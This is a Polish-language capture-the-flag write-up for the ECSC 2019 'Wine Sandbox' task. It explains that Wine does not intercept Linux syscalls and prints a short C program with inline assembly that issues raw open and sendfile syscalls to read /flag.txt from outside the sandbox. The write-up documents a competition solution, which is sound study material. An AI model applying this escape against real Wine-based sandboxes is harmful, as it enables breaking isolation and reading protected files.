Wine Sandbox

Najbardziej denerwujace zadanie na całym CTFie, dawno się tyle nie naprzeklinałem co przy nim

Zadanie

ecsc19-wine.png Dostajemy konsolkę Windowsową w Wine sandbox i mamy odczytać flagę znajdującą sie poza katalogiem Wine. Sam exploit i pomysł na niego jest banalnie prosty: Wine to loader do plików wykonywalnych + zestaw bilbiotek + cholera wie co jeszcze. Ale nie emulator. A więc niemal na pewno nie przechwytuje syscalli, zwłaszcza że na windowsie surowych syscalli się nie używa. Możmy więc do binarki wrzucić fragment wywołujący odpowiednie linuksowe syscalle, by odczytać i wyświetlić flagę. Kod źródłowy:

int main(){
	asm(".section .data 			\n\t"
		"1: .asciz \"/flag.txt\"	\n\t"
		".section .text				\n\t"
		"movl $0x5, %eax				\n\t"
		"movl $1b, %ebx				\n\t"
		"movl $0x0, %ecx				\n\t"
		"int $0x80					\n\t"
		"movl $0x1, %ebx				\n\t"
		"movl %eax, %ecx				\n\t"
		"movl $0xbb, %eax			\n\t"
		"movl $0x0, %edx				\n\t"
		"movl $0x100, %esi			\n\t"
		"int $0x80					\n\t"
	);
	return 0;

}

Po skompilowaniu w gcc-mingw mamy gotową binarkę do odpalenia. (Ciekawostka - musiałem kompilować to na windowsie, bo w repozytoriach AUR mingw-gcc jest, ale już jednej z zależności nie ma, wiec nie da się tego zainstalować. Kiedyś też próbowałem i było identycznie, wiec nie jest to chyba zbyt popularny pakiet.)

Głównym problemem zadania jest przesłanie tej binarki na serwer. Jako iż windowsowa konsola to największe gówno (i jakiś sadysta musiał wymyslać to zadanie), to nie mamy oczywiście żadnego wgeta czy curla (zresztą i tak nie było dostępu do internetu), ale co gorsze nawet tak prostych rzeczy jak cat czy base64, a wszystkie zastępniki i tricki by symulować cata psują się przy danych binarnych.

Po bardzo długim czasie przeszukiwania internetu i myślenia jak to przesłać, wygooglowałem wymieniony w zadaniu Windows Script Hosting, okazało sie że można tym odpalać skrypty VBS. Ciężki mi przeliczyć ile razy musiałem próbować, zanim napisałem coś działającego (bo oczywiście działało inaczej lokalnie a inaczej tam + na serwerze nie było dostępu do np. ADODB czy stdin/stdout. Po prawie całym dniu klnięcia na ten przeklęty system, jego twórców i ich rodziny otrzymałem gotowy skrypt (całość zawarta w załączonym zipie) oraz flagę: ecsc19{sandbox-but-not-really??}


Revision #4
Created Sun, Jun 30, 2019 2:01 PM by Lorak_
Updated Sun, Jul 14, 2019 7:23 PM by Lorak_